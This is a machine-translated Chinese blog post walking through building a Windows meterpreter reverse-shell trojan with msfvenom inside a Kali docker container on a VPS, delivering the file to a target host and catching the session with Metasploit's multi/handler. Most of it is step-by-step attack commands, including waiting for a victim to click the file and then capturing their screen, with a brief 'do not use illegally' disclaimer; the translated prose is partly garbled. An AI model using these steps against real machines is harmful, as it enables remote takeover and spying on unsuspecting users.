Trojan docker kali use on the public network VPS

  On an article about how to download and install docker kali mirrored on linux, upload, today to talk about the docker in, how to make use of kali Trojan then listens msf in. The screenshot, and there are pictures and the truth, ha ha!

First, port mapping

  First, because the mirror is running in the container, is not associated with VPS, kali container outside and no contact, so do port mapping, a port connected to a port of the VPS kali container port, to make it through this port with the outside world contact, take a look at my mirror: docker images

Create a container and then enter into the kali container:

Docker run -it -p 4000: 4444 dennyah / pte: time / bin / bash

The explanation: -it is provided with a user terminal window interaction (/ bin / bash);

    -p 4000: 4444 4000 bound to port 4444 of the container port of the VPS

    My back is the base image

 

 Second, Trojan production, here used lhost and lport are your VPS just the ip and port container bound with kali

  msfvenom -p windows/meterpreter/reverse_tcp lhost=*.*.*.* lport=4000 -f exe > /root/horse.exe

  And then the resultant Trojan file copy from the container out of a terminal to open, the container 2025e69c1bf6: copy root / horse.exe files to the VPS / root under

  docker cp 2025e69c1bf6:root/horse.exe /root

   And then sent to the target host via ftp, here I am with their own local host experiment:

  The next step is waiting for the user to hook click on the Trojan files.

Three, msf monitor settings

  Resorted msf, use exploit / multi / handler module, payload with just the windows / meterpreter / reverse_tcp, with particular attention, and here lhost lport write ip and port kali container (4444):

 

  Fourth, began to attack

  Set after the completion of exploit, start listening, and then run the resulting Trojan file, you can see the following display on my local drone:

  Next, you can do what you want to do things, such as the current cut-off drone of map:

 

 

 

 V. Summary

  When learning docker, to sort out their own ideas, a lot of the knowledge base must first understand, will command a better understanding of the meaning of the so-called solid foundation, the earth was shaking.

  I will do this only notes and a vast network of enthusiasts to share and exchange! Do not use for other illegal purposes!

 

Guess you like

Origin www.cnblogs.com/DennyT/p/11400587.html